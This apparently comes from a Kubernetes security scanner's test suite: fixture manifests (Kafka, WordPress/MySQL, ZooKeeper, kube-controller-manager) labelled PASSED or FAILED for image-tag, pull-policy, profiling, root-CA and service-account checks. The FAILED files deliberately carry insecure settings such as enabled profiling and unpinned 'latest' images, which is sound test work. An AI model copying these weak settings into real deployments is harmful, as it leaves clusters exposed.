"mattf/storm-nimbus", "ports": [ { "containerPort": 6627 } ], "resources": { "limits": { "cpu": "100m" } } } ] } } ================================================ FILE: tests/kubernetes/checks/example_ImagePullPolicy/wordpress-ImageTagged-DefaultPullPolicy-FAILED.yaml ================================================ # Source: https://kubernetes.io/docs/tutorials/stateful-application/mysql-wordpress-persistent-volume/ apiVersion: v1 kind: Service metadata: name: wordpress-mysql labels: app: wordpress spec: ports: - port: 3306 selector: app: wordpress tier: mysql clusterIP: None --- apiVersion: v1 kind: PersistentVolumeClaim metadata: name: mysql-pv-claim labels: app: wordpress spec: accessModes: - ReadWriteOnce resources: requests: storage: 20Gi --- apiVersion: apps/v1 # for versions before 1.9.0 use apps/v1beta2 kind: Deployment metadata: name: wordpress-mysql labels: app: wordpress spec: selector: matchLabels: app: wordpress tier: mysql strategy: type: Recreate template: metadata: labels: app: wordpress tier: mysql spec: containers: - image: mysql:5.6 name: mysql env: - name: MYSQL_ROOT_PASSWORD valueFrom: secretKeyRef: name: mysql-pass key: password ports: - containerPort: 3306 name: mysql volumeMounts: - name: mysql-persistent-storage mountPath: /var/lib/mysql volumes: - name: mysql-persistent-storage persistentVolumeClaim: claimName: mysql-pv-claim --- apiVersion: v1 kind: Service metadata: name: wordpress labels: app: wordpress spec: ports: - port: 80 selector: app: wordpress tier: frontend type: LoadBalancer --- apiVersion: v1 kind: PersistentVolumeClaim metadata: name: wp-pv-claim labels: app: wordpress spec: accessModes: - ReadWriteOnce resources: requests: storage: 20Gi --- apiVersion: apps/v1 # for versions before 1.9.0 use apps/v1beta2 kind: Deployment metadata: name: wordpress labels: app: wordpress spec: selector: matchLabels: app: wordpress tier: frontend strategy: type: Recreate template: metadata: labels: app: wordpress tier: frontend spec: containers: - image: wordpress:4.8-apache name: wordpress env: - name: WORDPRESS_DB_HOST value: wordpress-mysql - name: WORDPRESS_DB_PASSWORD valueFrom: secretKeyRef: name: mysql-pass key: password ports: - containerPort: 80 name: wordpress volumeMounts: - name: wordpress-persistent-storage mountPath: /var/www/html volumes: - name: wordpress-persistent-storage persistentVolumeClaim: claimName: wp-pv-claim ================================================ FILE: tests/kubernetes/checks/example_ImageTagFixed/imageWithDigest-PASSED.yaml ================================================ --- apiVersion: v1 kind: Service metadata: name: kafka-hs labels: app: kafka spec: ports: - port: 9093 name: server clusterIP: None selector: app: kafka --- apiVersion: policy/v1beta1 kind: PodDisruptionBudget metadata: name: kafka-pdb spec: selector: matchLabels: app: kafka maxUnavailable: 1 --- apiVersion: apps/v1beta1 kind: StatefulSet metadata: name: kafka spec: serviceName: kafka-hs replicas: 5 podManagementPolicy: Parallel updateStrategy: type: RollingUpdate template: metadata: labels: app: kafka spec: affinity: podAntiAffinity: requiredDuringSchedulingIgnoredDuringExecution: - labelSelector: matchExpressions: - key: "app" operator: In values: - kafka topologyKey: "kubernetes.io/hostname" podAffinity: preferredDuringSchedulingIgnoredDuringExecution: - weight: 1 podAffinityTerm: labelSelector: matchExpressions: - key: "app" operator: In values: - zk topologyKey: "kubernetes.io/hostname" terminationGracePeriodSeconds: 300 containers: - name: k8skafka imagePullPolicy: Always image: gcr.io/google_containers/kubernetes-kafka@sha256:123456 resources: requests: memory: "12Gi" cpu: 4 ports: - containerPort: 9093 name: server command: - sh - -c - "exec kafka-server-start.sh /opt/kafka/config/server.properties --override broker.id=${HOSTNAME##*-} \ --override listeners=PLAINTEXT://:9093 \ --override zookeeper.connect=zk-cs.default.svc.cluster.local:2181 \ --override log.dir=/var/lib/kafka \ --override auto.create.topics.enable=true \ --override auto.leader.rebalance.enable=true \ --override background.threads=10 \ --override compression.type=producer \ --override delete.topic.enable=false \ --override leader.imbalance.check.interval.seconds=300 \ --override leader.imbalance.per.broker.percentage=10 \ --override log.flush.interval.messages=9223372036854775807 \ --override log.flush.offset.checkpoint.interval.ms=60000 \ --override log.flush.scheduler.interval.ms=9223372036854775807 \ --override log.retention.bytes=-1 \ --override log.retention.hours=168 \ --override log.roll.hours=168 \ --override log.roll.jitter.hours=0 \ --override log.segment.bytes=1073741824 \ --override log.segment.delete.delay.ms=60000 \ --override message.max.bytes=1000012 \ --override min.insync.replicas=1 \ --override num.io.threads=8 \ --override num.network.threads=3 \ --override num.recovery.threads.per.data.dir=1 \ --override num.replica.fetchers=1 \ --override offset.metadata.max.bytes=4096 \ --override offsets.commit.required.acks=-1 \ --override offsets.commit.timeout.ms=5000 \ --override offsets.load.buffer.size=5242880 \ --override offsets.retention.check.interval.ms=600000 \ --override offsets.retention.minutes=1440 \ --override offsets.topic.compression.codec=0 \ --override offsets.topic.num.partitions=50 \ --override offsets.topic.replication.factor=3 \ --override offsets.topic.segment.bytes=104857600 \ --override queued.max.requests=500 \ --override quota.consumer.default=9223372036854775807 \ --override quota.producer.default=9223372036854775807 \ --override replica.fetch.min.bytes=1 \ --override replica.fetch.wait.max.ms=500 \ --override replica.high.watermark.checkpoint.interval.ms=5000 \ --override replica.lag.time.max.ms=10000 \ --override replica.socket.receive.buffer.bytes=65536 \ --override replica.socket.timeout.ms=30000 \ --override request.timeout.ms=30000 \ --override socket.receive.buffer.bytes=102400 \ --override socket.request.max.bytes=104857600 \ --override socket.send.buffer.bytes=102400 \ --override unclean.leader.election.enable=true \ --override zookeeper.session.timeout.ms=6000 \ --override zookeeper.set.acl=false \ --override broker.id.generation.enable=true \ --override connections.max.idle.ms=600000 \ --override controlled.shutdown.enable=true \ --override controlled.shutdown.max.retries=3 \ --override controlled.shutdown.retry.backoff.ms=5000 \ --override controller.socket.timeout.ms=30000 \ --override default.replication.factor=1 \ --override fetch.purgatory.purge.interval.requests=1000 \ --override group.max.session.timeout.ms=300000 \ --override group.min.session.timeout.ms=6000 \ --override inter.broker.protocol.version=0.10.2-IV0 \ --override log.cleaner.backoff.ms=15000 \ --override log.cleaner.dedupe.buffer.size=134217728 \ --override log.cleaner.delete.retention.ms=86400000 \ --override log.cleaner.enable=true \ --override log.cleaner.io.buffer.load.factor=0.9 \ --override log.cleaner.io.buffer.size=524288 \ --override log.cleaner.io.max.bytes.per.second=1.7976931348623157E308 \ --override log.cleaner.min.cleanable.ratio=0.5 \ --override log.cleaner.min.compaction.lag.ms=0 \ --override log.cleaner.threads=1 \ --override log.cleanup.policy=delete \ --override log.index.interval.bytes=4096 \ --override log.index.size.max.bytes=10485760 \ --override log.message.timestamp.difference.max.ms=9223372036854775807 \ --override log.message.timestamp.type=CreateTime \ --override log.preallocate=false \ --override log.retention.check.interval.ms=300000 \ --override max.connections.per.ip=2147483647 \ --override num.partitions=1 \ --override producer.purgatory.purge.interval.requests=1000 \ --override replica.fetch.backoff.ms=1000 \ --override replica.fetch.max.bytes=1048576 \ --override replica.fetch.response.max.bytes=10485760 \ --override reserved.broker.max.id=1000 " env: - name: KAFKA_HEAP_OPTS value : "-Xmx2G -Xms2G" - name: KAFKA_OPTS value: "-Dlogging.level=INFO" volumeMounts: - name: datadir mountPath: /var/lib/kafka readinessProbe: exec: command: - sh - -c - "/opt/kafka/bin/kafka-broker-api-versions.sh --bootstrap-server=localhost:9093" securityContext: runAsUser: 1000 fsGroup: 1000 volumeClaimTemplates: - metadata: name: datadir spec: accessModes: [ "ReadWriteOnce" ] resources: requests: storage: 10Gi ================================================ FILE: tests/kubernetes/checks/example_ImageTagFixed/imageWithTagAndDigest-PASSED.yaml ================================================ --- apiVersion: v1 kind: Service metadata: name: kafka-hs labels: app: kafka spec: ports: - port: 9093 name: server clusterIP: None selector: app: kafka --- apiVersion: policy/v1beta1 kind: PodDisruptionBudget metadata: name: kafka-pdb spec: selector: matchLabels: app: kafka maxUnavailable: 1 --- apiVersion: apps/v1beta1 kind: StatefulSet metadata: name: kafka spec: serviceName: kafka-hs replicas: 5 podManagementPolicy: Parallel updateStrategy: type: RollingUpdate template: metadata: labels: app: kafka spec: affinity: podAntiAffinity: requiredDuringSchedulingIgnoredDuringExecution: - labelSelector: matchExpressions: - key: "app" operator: In values: - kafka topologyKey: "kubernetes.io/hostname" podAffinity: preferredDuringSchedulingIgnoredDuringExecution: - weight: 1 podAffinityTerm: labelSelector: matchExpressions: - key: "app" operator: In values: - zk topologyKey: "kubernetes.io/hostname" terminationGracePeriodSeconds: 300 containers: - name: k8skafka imagePullPolicy: Always image: gcr.io/google_containers/kubernetes-kafka:1.0-10.2.1@sha256:123456 resources: requests: memory: "12Gi" cpu: 4 ports: - containerPort: 9093 name: server command: - sh - -c - "exec kafka-server-start.sh /opt/kafka/config/server.properties --override broker.id=${HOSTNAME##*-} \ --override listeners=PLAINTEXT://:9093 \ --override zookeeper.connect=zk-cs.default.svc.cluster.local:2181 \ --override log.dir=/var/lib/kafka \ --override auto.create.topics.enable=true \ --override auto.leader.rebalance.enable=true \ --override background.threads=10 \ --override compression.type=producer \ --override delete.topic.enable=false \ --override leader.imbalance.check.interval.seconds=300 \ --override leader.imbalance.per.broker.percentage=10 \ --override log.flush.interval.messages=9223372036854775807 \ --override log.flush.offset.checkpoint.interval.ms=60000 \ --override log.flush.scheduler.interval.ms=9223372036854775807 \ --override log.retention.bytes=-1 \ --override log.retention.hours=168 \ --override log.roll.hours=168 \ --override log.roll.jitter.hours=0 \ --override log.segment.bytes=1073741824 \ --override log.segment.delete.delay.ms=60000 \ --override message.max.bytes=1000012 \ --override min.insync.replicas=1 \ --override num.io.threads=8 \ --override num.network.threads=3 \ --override num.recovery.threads.per.data.dir=1 \ --override num.replica.fetchers=1 \ --override offset.metadata.max.bytes=4096 \ --override offsets.commit.required.acks=-1 \ --override offsets.commit.timeout.ms=5000 \ --override offsets.load.buffer.size=5242880 \ --override offsets.retention.check.interval.ms=600000 \ --override offsets.retention.minutes=1440 \ --override offsets.topic.compression.codec=0 \ --override offsets.topic.num.partitions=50 \ --override offsets.topic.replication.factor=3 \ --override offsets.topic.segment.bytes=104857600 \ --override queued.max.requests=500 \ --override quota.consumer.default=9223372036854775807 \ --override quota.producer.default=9223372036854775807 \ --override replica.fetch.min.bytes=1 \ --override replica.fetch.wait.max.ms=500 \ --override replica.high.watermark.checkpoint.interval.ms=5000 \ --override replica.lag.time.max.ms=10000 \ --override replica.socket.receive.buffer.bytes=65536 \ --override replica.socket.timeout.ms=30000 \ --override request.timeout.ms=30000 \ --override socket.receive.buffer.bytes=102400 \ --override socket.request.max.bytes=104857600 \ --override socket.send.buffer.bytes=102400 \ --override unclean.leader.election.enable=true \ --override zookeeper.session.timeout.ms=6000 \ --override zookeeper.set.acl=false \ --override broker.id.generation.enable=true \ --override connections.max.idle.ms=600000 \ --override controlled.shutdown.enable=true \ --override controlled.shutdown.max.retries=3 \ --override controlled.shutdown.retry.backoff.ms=5000 \ --override controller.socket.timeout.ms=30000 \ --override default.replication.factor=1 \ --override fetch.purgatory.purge.interval.requests=1000 \ --override group.max.session.timeout.ms=300000 \ --override group.min.session.timeout.ms=6000 \ --override inter.broker.protocol.version=0.10.2-IV0 \ --override log.cleaner.backoff.ms=15000 \ --override log.cleaner.dedupe.buffer.size=134217728 \ --override log.cleaner.delete.retention.ms=86400000 \ --override log.cleaner.enable=true \ --override log.cleaner.io.buffer.load.factor=0.9 \ --override log.cleaner.io.buffer.size=524288 \ --override log.cleaner.io.max.bytes.per.second=1.7976931348623157E308 \ --override log.cleaner.min.cleanable.ratio=0.5 \ --override log.cleaner.min.compaction.lag.ms=0 \ --override log.cleaner.threads=1 \ --override log.cleanup.policy=delete \ --override log.index.interval.bytes=4096 \ --override log.index.size.max.bytes=10485760 \ --override log.message.timestamp.difference.max.ms=9223372036854775807 \ --override log.message.timestamp.type=CreateTime \ --override log.preallocate=false \ --override log.retention.check.interval.ms=300000 \ --override max.connections.per.ip=2147483647 \ --override num.partitions=1 \ --override producer.purgatory.purge.interval.requests=1000 \ --override replica.fetch.backoff.ms=1000 \ --override replica.fetch.max.bytes=1048576 \ --override replica.fetch.response.max.bytes=10485760 \ --override reserved.broker.max.id=1000 " env: - name: KAFKA_HEAP_OPTS value : "-Xmx2G -Xms2G" - name: KAFKA_OPTS value: "-Dlogging.level=INFO" volumeMounts: - name: datadir mountPath: /var/lib/kafka readinessProbe: exec: command: - sh - -c - "/opt/kafka/bin/kafka-broker-api-versions.sh --bootstrap-server=localhost:9093" securityContext: runAsUser: 1000 fsGroup: 1000 volumeClaimTemplates: - metadata: name: datadir spec: accessModes: [ "ReadWriteOnce" ] resources: requests: storage: 10Gi ================================================ FILE: tests/kubernetes/checks/example_ImageTagFixed/job-ImageTagLatest-FAILED.yaml ================================================ apiVersion: batch/v1 kind: Job metadata: name: countdown spec: template: metadata: name: countdown spec: containers: - name: counter image: centos:latest command: - "bin/bash" - "-c" - "for i in 9 8 7 6 5 4 3 2 1 ; do echo $i ; done" restartPolicy: Never ================================================ FILE: tests/kubernetes/checks/example_ImageTagFixed/kafka-ImageWithRepo-PASSED.yaml ================================================ apiVersion: apps/v1beta1 kind: StatefulSet metadata: name: kafka spec: serviceName: kafka-hs replicas: 5 podManagementPolicy: Parallel updateStrategy: type: RollingUpdate template: metadata: labels: app: kafka spec: affinity: podAntiAffinity: requiredDuringSchedulingIgnoredDuringExecution: - labelSelector: matchExpressions: - key: "app" operator: In values: - kafka topologyKey: "kubernetes.io/hostname" podAffinity: preferredDuringSchedulingIgnoredDuringExecution: - weight: 1 podAffinityTerm: labelSelector: matchExpressions: - key: "app" operator: In values: - zk topologyKey: "kubernetes.io/hostname" terminationGracePeriodSeconds: 300 containers: - name: k8skafka imagePullPolicy: Always image: docker-registry.mycompany.co:4567/super-sre/kafka/kafka-docker/release:1.0.9 resources: requests: memory: "12Gi" cpu: 4 ports: - containerPort: 9093 name: server command: - sh - -c - "exec kafka-server-start.sh /opt/kafka/config/server.properties --override broker.id=${HOSTNAME##*-} \ --override listeners=PLAINTEXT://:9093 \ --override zookeeper.connect=zk-cs.default.svc.cluster.local:2181 \ --override log.dir=/var/lib/kafka \ --override auto.create.topics.enable=true \ --override auto.leader.rebalance.enable=true \ --override background.threads=10 \ --override compression.type=producer \ --override delete.topic.enable=false \ --override leader.imbalance.check.interval.seconds=300 \ --override leader.imbalance.per.broker.percentage=10 \ --override log.flush.interval.messages=9223372036854775807 \ --override log.flush.offset.checkpoint.interval.ms=60000 \ --override log.flush.scheduler.interval.ms=9223372036854775807 \ --override log.retention.bytes=-1 \ --override log.retention.hours=168 \ --override log.roll.hours=168 \ --override log.roll.jitter.hours=0 \ --override log.segment.bytes=1073741824 \ --override log.segment.delete.delay.ms=60000 \ --override message.max.bytes=1000012 \ --override min.insync.replicas=1 \ --override num.io.threads=8 \ --override num.network.threads=3 \ --override num.recovery.threads.per.data.dir=1 \ --override num.replica.fetchers=1 \ --override offset.metadata.max.bytes=4096 \ --override offsets.commit.required.acks=-1 \ --override offsets.commit.timeout.ms=5000 \ --override offsets.load.buffer.size=5242880 \ --override offsets.retention.check.interval.ms=600000 \ --override offsets.retention.minutes=1440 \ --override offsets.topic.compression.codec=0 \ --override offsets.topic.num.partitions=50 \ --override offsets.topic.replication.factor=3 \ --override offsets.topic.segment.bytes=104857600 \ --override queued.max.requests=500 \ --override quota.consumer.default=9223372036854775807 \ --override quota.producer.default=9223372036854775807 \ --override replica.fetch.min.bytes=1 \ --override replica.fetch.wait.max.ms=500 \ --override replica.high.watermark.checkpoint.interval.ms=5000 \ --override replica.lag.time.max.ms=10000 \ --override replica.socket.receive.buffer.bytes=65536 \ --override replica.socket.timeout.ms=30000 \ --override request.timeout.ms=30000 \ --override socket.receive.buffer.bytes=102400 \ --override socket.request.max.bytes=104857600 \ --override socket.send.buffer.bytes=102400 \ --override unclean.leader.election.enable=true \ --override zookeeper.session.timeout.ms=6000 \ --override zookeeper.set.acl=false \ --override broker.id.generation.enable=true \ --override connections.max.idle.ms=600000 \ --override controlled.shutdown.enable=true \ --override controlled.shutdown.max.retries=3 \ --override controlled.shutdown.retry.backoff.ms=5000 \ --override controller.socket.timeout.ms=30000 \ --override default.replication.factor=1 \ --override fetch.purgatory.purge.interval.requests=1000 \ --override group.max.session.timeout.ms=300000 \ --override group.min.session.timeout.ms=6000 \ --override inter.broker.protocol.version=0.10.2-IV0 \ --override log.cleaner.backoff.ms=15000 \ --override log.cleaner.dedupe.buffer.size=134217728 \ --override log.cleaner.delete.retention.ms=86400000 \ --override log.cleaner.enable=true \ --override log.cleaner.io.buffer.load.factor=0.9 \ --override log.cleaner.io.buffer.size=524288 \ --override log.cleaner.io.max.bytes.per.second=1.7976931348623157E308 \ --override log.cleaner.min.cleanable.ratio=0.5 \ --override log.cleaner.min.compaction.lag.ms=0 \ --override log.cleaner.threads=1 \ --override log.cleanup.policy=delete \ --override log.index.interval.bytes=4096 \ --override log.index.size.max.bytes=10485760 \ --override log.message.timestamp.difference.max.ms=9223372036854775807 \ --override log.message.timestamp.type=CreateTime \ --override log.preallocate=false \ --override log.retention.check.interval.ms=300000 \ --override max.connections.per.ip=2147483647 \ --override num.partitions=1 \ --override producer.purgatory.purge.interval.requests=1000 \ --override replica.fetch.backoff.ms=1000 \ --override replica.fetch.max.bytes=1048576 \ --override replica.fetch.response.max.bytes=10485760 \ --override reserved.broker.max.id=1000 " env: - name: KAFKA_HEAP_OPTS value : "-Xmx2G -Xms2G" - name: KAFKA_OPTS value: "-Dlogging.level=INFO" volumeMounts: - name: datadir mountPath: /var/lib/kafka readinessProbe: exec: command: - sh - -c - "/opt/kafka/bin/kafka-broker-api-versions.sh --bootstrap-server=localhost:9093" securityContext: runAsUser: 1000 fsGroup: 1000 volumeClaimTemplates: - metadata: name: datadir spec: accessModes: [ "ReadWriteOnce" ] resources: requests: storage: 10Gi ================================================ FILE: tests/kubernetes/checks/example_ImageTagFixed/kafka-PASSED.yaml ================================================ --- apiVersion: v1 kind: Service metadata: name: kafka-hs labels: app: kafka spec: ports: - port: 9093 name: server clusterIP: None selector: app: kafka --- apiVersion: policy/v1beta1 kind: PodDisruptionBudget metadata: name: kafka-pdb spec: selector: matchLabels: app: kafka maxUnavailable: 1 --- apiVersion: apps/v1beta1 kind: StatefulSet metadata: name: kafka spec: serviceName: kafka-hs replicas: 5 podManagementPolicy: Parallel updateStrategy: type: RollingUpdate template: metadata: labels: app: kafka spec: affinity: podAntiAffinity: requiredDuringSchedulingIgnoredDuringExecution: - labelSelector: matchExpressions: - key: "app" operator: In values: - kafka topologyKey: "kubernetes.io/hostname" podAffinity: preferredDuringSchedulingIgnoredDuringExecution: - weight: 1 podAffinityTerm: labelSelector: matchExpressions: - key: "app" operator: In values: - zk topologyKey: "kubernetes.io/hostname" terminationGracePeriodSeconds: 300 containers: - name: k8skafka imagePullPolicy: Always image: gcr.io/google_containers/kubernetes-kafka:1.0-10.2.1 resources: requests: memory: "12Gi" cpu: 4 ports: - containerPort: 9093 name: server command: - sh - -c - "exec kafka-server-start.sh /opt/kafka/config/server.properties --override broker.id=${HOSTNAME##*-} \ --override listeners=PLAINTEXT://:9093 \ --override zookeeper.connect=zk-cs.default.svc.cluster.local:2181 \ --override log.dir=/var/lib/kafka \ --override auto.create.topics.enable=true \ --override auto.leader.rebalance.enable=true \ --override background.threads=10 \ --override compression.type=producer \ --override delete.topic.enable=false \ --override leader.imbalance.check.interval.seconds=300 \ --override leader.imbalance.per.broker.percentage=10 \ --override log.flush.interval.messages=9223372036854775807 \ --override log.flush.offset.checkpoint.interval.ms=60000 \ --override log.flush.scheduler.interval.ms=9223372036854775807 \ --override log.retention.bytes=-1 \ --override log.retention.hours=168 \ --override log.roll.hours=168 \ --override log.roll.jitter.hours=0 \ --override log.segment.bytes=1073741824 \ --override log.segment.delete.delay.ms=60000 \ --override message.max.bytes=1000012 \ --override min.insync.replicas=1 \ --override num.io.threads=8 \ --override num.network.threads=3 \ --override num.recovery.threads.per.data.dir=1 \ --override num.replica.fetchers=1 \ --override offset.metadata.max.bytes=4096 \ --override offsets.commit.required.acks=-1 \ --override offsets.commit.timeout.ms=5000 \ --override offsets.load.buffer.size=5242880 \ --override offsets.retention.check.interval.ms=600000 \ --override offsets.retention.minutes=1440 \ --override offsets.topic.compression.codec=0 \ --override offsets.topic.num.partitions=50 \ --override offsets.topic.replication.factor=3 \ --override offsets.topic.segment.bytes=104857600 \ --override queued.max.requests=500 \ --override quota.consumer.default=9223372036854775807 \ --override quota.producer.default=9223372036854775807 \ --override replica.fetch.min.bytes=1 \ --override replica.fetch.wait.max.ms=500 \ --override replica.high.watermark.checkpoint.interval.ms=5000 \ --override replica.lag.time.max.ms=10000 \ --override replica.socket.receive.buffer.bytes=65536 \ --override replica.socket.timeout.ms=30000 \ --override request.timeout.ms=30000 \ --override socket.receive.buffer.bytes=102400 \ --override socket.request.max.bytes=104857600 \ --override socket.send.buffer.bytes=102400 \ --override unclean.leader.election.enable=true \ --override zookeeper.session.timeout.ms=6000 \ --override zookeeper.set.acl=false \ --override broker.id.generation.enable=true \ --override connections.max.idle.ms=600000 \ --override controlled.shutdown.enable=true \ --override controlled.shutdown.max.retries=3 \ --override controlled.shutdown.retry.backoff.ms=5000 \ --override controller.socket.timeout.ms=30000 \ --override default.replication.factor=1 \ --override fetch.purgatory.purge.interval.requests=1000 \ --override group.max.session.timeout.ms=300000 \ --override group.min.session.timeout.ms=6000 \ --override inter.broker.protocol.version=0.10.2-IV0 \ --override log.cleaner.backoff.ms=15000 \ --override log.cleaner.dedupe.buffer.size=134217728 \ --override log.cleaner.delete.retention.ms=86400000 \ --override log.cleaner.enable=true \ --override log.cleaner.io.buffer.load.factor=0.9 \ --override log.cleaner.io.buffer.size=524288 \ --override log.cleaner.io.max.bytes.per.second=1.7976931348623157E308 \ --override log.cleaner.min.cleanable.ratio=0.5 \ --override log.cleaner.min.compaction.lag.ms=0 \ --override log.cleaner.threads=1 \ --override log.cleanup.policy=delete \ --override log.index.interval.bytes=4096 \ --override log.index.size.max.bytes=10485760 \ --override log.message.timestamp.difference.max.ms=9223372036854775807 \ --override log.message.timestamp.type=CreateTime \ --override log.preallocate=false \ --override log.retention.check.interval.ms=300000 \ --override max.connections.per.ip=2147483647 \ --override num.partitions=1 \ --override producer.purgatory.purge.interval.requests=1000 \ --override replica.fetch.backoff.ms=1000 \ --override replica.fetch.max.bytes=1048576 \ --override replica.fetch.response.max.bytes=10485760 \ --override reserved.broker.max.id=1000 " env: - name: KAFKA_HEAP_OPTS value : "-Xmx2G -Xms2G" - name: KAFKA_OPTS value: "-Dlogging.level=INFO" volumeMounts: - name: datadir mountPath: /var/lib/kafka readinessProbe: exec: command: - sh - -c - "/opt/kafka/bin/kafka-broker-api-versions.sh --bootstrap-server=localhost:9093" securityContext: runAsUser: 1000 fsGroup: 1000 volumeClaimTemplates: - metadata: name: datadir spec: accessModes: [ "ReadWriteOnce" ] resources: requests: storage: 10Gi ================================================ FILE: tests/kubernetes/checks/example_ImageTagFixed/storm-zookeeper-FAILED.json ================================================ { "kind": "Pod", "apiVersion": "v1", "metadata": { "name": "zookeeper", "labels": { "name": "zookeeper" } }, "spec": { "containers": [ { "name": "zookeeper", "image": "mattf/zookeeper", "ports": [ { "containerPort": 2181 } ], "resources": { "limits": { "cpu": "100m" } } } ] } } ================================================ FILE: tests/kubernetes/checks/example_KubeControllerManagerBlockProfiles/ApiServer-FAILED.yaml ================================================ apiVersion: v1 kind: Pod metadata: creationTimestamp: null labels: component: kube-controller-manager tier: control-plane name: kube-controller-manager-enabled namespace: kube-system spec: containers: - command: - kube-controller-manager - --profiling=true image: gcr.io/google_containers/kube-controller-manager-amd64:v1.6.0 livenessProbe: failureThreshold: 8 httpGet: host: 127.0.0.1 path: /healthz port: 6443 scheme: HTTPS initialDelaySeconds: 15 timeoutSeconds: 15 name: kube-controller-manager-should-fail resources: requests: cpu: 250m volumeMounts: - mountPath: /etc/kubernetes/ name: k8s readOnly: true - mountPath: /etc/ssl/certs name: certs - mountPath: /etc/pki name: pki hostNetwork: true volumes: - hostPath: path: /etc/kubernetes name: k8s - hostPath: path: /etc/ssl/certs name: certs - hostPath: path: /etc/pki name: pki ================================================ FILE: tests/kubernetes/checks/example_KubeControllerManagerBlockProfiles/ApiServer-FAILED_2.yaml ================================================ apiVersion: v1 kind: Pod metadata: creationTimestamp: null labels: component: kube-controller-manager tier: control-plane name: kube-controller-manager-default namespace: kube-system spec: containers: - command: - kube-controller-manager image: gcr.io/google_containers/kube-controller-manager-amd64:v1.6.0 livenessProbe: failureThreshold: 8 httpGet: host: 127.0.0.1 path: /healthz port: 6443 scheme: HTTPS initialDelaySeconds: 15 timeoutSeconds: 15 name: kube-controller-manager-should-fail resources: requests: cpu: 250m volumeMounts: - mountPath: /etc/kubernetes/ name: k8s readOnly: true - mountPath: /etc/ssl/certs name: certs - mountPath: /etc/pki name: pki hostNetwork: true volumes: - hostPath: path: /etc/kubernetes name: k8s - hostPath: path: /etc/ssl/certs name: certs - hostPath: path: /etc/pki name: pki ================================================ FILE: tests/kubernetes/checks/example_KubeControllerManagerBlockProfiles/ApiServer-PASSED.yaml ================================================ apiVersion: v1 kind: Pod metadata: creationTimestamp: null labels: component: kube-controller-manager tier: control-plane name: kube-controller-manager-disabled namespace: kube-system spec: containers: - command: - kube-controller-manager - --profiling=false image: gcr.io/google_containers/kube-controller-manager-amd64:v1.6.0 livenessProbe: failureThreshold: 8 httpGet: host: 127.0.0.1 path: /healthz port: 6443 scheme: HTTPS initialDelaySeconds: 15 timeoutSeconds: 15 name: kube-controller-manager-should-pass resources: requests: cpu: 250m volumeMounts: - mountPath: /etc/kubernetes/ name: k8s readOnly: true - mountPath: /etc/ssl/certs name: certs - mountPath: /etc/pki name: pki hostNetwork: true volumes: - hostPath: path: /etc/kubernetes name: k8s - hostPath: path: /etc/ssl/certs name: certs - hostPath: path: /etc/pki name: pki ================================================ FILE: tests/kubernetes/checks/example_KubeControllerManagerRootCAFile/ApiServer-FAILED.yaml ================================================ apiVersion: v1 kind: Pod metadata: creationTimestamp: null labels: component: kube-controller-manager tier: control-plane name: kube-controller-manager-no-pem namespace: kube-system spec: containers: - command: - kube-controller-manager - --root-ca-file=file.txt image: gcr.io/google_containers/kube-controller-manager-amd64:v1.6.0 livenessProbe: failureThreshold: 8 httpGet: host: 127.0.0.1 path: /healthz port: 6443 scheme: HTTPS initialDelaySeconds: 15 timeoutSeconds: 15 name: kube-controller-manager-should-fail resources: requests: cpu: 250m volumeMounts: - mountPath: /etc/kubernetes/ name: k8s readOnly: true - mountPath: /etc/ssl/certs name: certs - mountPath: /etc/pki name: pki hostNetwork: true volumes: - hostPath: path: /etc/kubernetes name: k8s - hostPath: path: /etc/ssl/certs name: certs - hostPath: path: /etc/pki name: pki ================================================ FILE: tests/kubernetes/checks/example_KubeControllerManagerRootCAFile/ApiServer-PASSED.yaml ================================================ apiVersion: v1 kind: Pod metadata: creationTimestamp: null labels: component: kube-controller-manager tier: control-plane name: kube-controller-manager-pem namespace: kube-system spec: containers: - command: - kube-controller-manager - --root-ca-file=private.pem image: gcr.io/google_containers/kube-controller-manager-amd64:v1.6.0 livenessProbe: failureThreshold: 8 httpGet: host: 127.0.0.1 path: /healthz port: 6443 scheme: HTTPS initialDelaySeconds: 15 timeoutSeconds: 15 name: kube-controller-manager-should-pass resources: requests: cpu: 250m volumeMounts: - mountPath: /etc/kubernetes/ name: k8s readOnly: true - mountPath: /etc/ssl/certs name: certs - mountPath: /etc/pki name: pki hostNetwork: true volumes: - hostPath: path: /etc/kubernetes name: k8s - hostPath: path: /etc/ssl/certs name: certs - hostPath: path: /etc/pki name: pki ================================================ FILE: tests/kubernetes/checks/example_KubeControllerManagerRootCAFile/ApiServer-PASSED_2.yaml ================================================ apiVersion: v1 kind: Pod metadata: creationTimestamp: null labels: component: kube-controller-manager tier: control-plane name: kube-controller-manager-none namespace: kube-system spec: containers: - command: - kube-controller-manager image: gcr.io/google_containers/kube-controller-manager-amd64:v1.6.0 livenessProbe: failureThreshold: 8 httpGet: host: 127.0.0.1 path: /healthz port: 6443 scheme: HTTPS initialDelaySeconds: 15 timeoutSeconds: 15 name: kube-controller-manager-should-pass resources: requests: cpu: 250m volumeMounts: - mountPath: /etc/kubernetes/ name: k8s readOnly: true - mountPath: /etc/ssl/certs name: certs - mountPath: /etc/pki name: pki hostNetwork: true volumes: - hostPath: path: /etc/kubernetes name: k8s - hostPath: path: /etc/ssl/certs name: certs - hostPath: path: /etc/pki name: pki ================================================ FILE: tests/kubernetes/checks/example_KubeControllerManagerServiceAccountCredentials/ApiServer-FAILED-2.yaml ================================================ apiVersion: v1 kind: Pod metadata: creationTimestamp: null labels: component: kube-controller-manager tier: control-plane name: kube-controller-manager-default namespace: kube-system spec: containers: - command: - kube-controller-manager image: gcr.io/google_containers/kube-controller-manager-amd64:v1.6.0 livenessProbe: failureThreshold: 8 httpGet: host: 127.0.0.1 path: /healthz port: 6443 scheme: HTTPS initialDelaySeconds: 15 timeoutSeconds: 15 name: kube-controller-manager-should-unknwown resources: requests: cpu: 250m volumeMounts: - mountPath: /etc/kubernetes/ name: k8s readOnly: true - mountPath: /etc/ssl/certs name: certs - mountPath: /etc/pki name: pki hostNetwork: true volumes: - hostPath: path: /etc/kubernetes name: k8s - hostPath: path: /etc/ssl/certs name: certs - hostPath: path: /etc/pki name: pki ================================================ FILE: tests/kubernetes/checks/example_KubeControllerManagerServiceAccountCredentials/ApiServer-FAILED.yaml ================================================ apiVersion: v1 kind: Pod metadata: creationTimestamp: null labels: component: kube-controller-manager tier: control-plane name: kube-controller-manager-disabled namespace: kube-system spec: containers: - command: - kube-controller-manager - --use-service-account-credentials=false image: gcr.io/google_containers/kube-controller-manager-amd64:v1.6.0 livenessProbe: failureThreshold: 8 httpGet: host: 127.0.0.1 path: /healthz port: 6443 scheme: HTTPS initialDelaySeconds: 15 timeoutSeconds: 15 name: kube-controller-manager-should-fail resources: 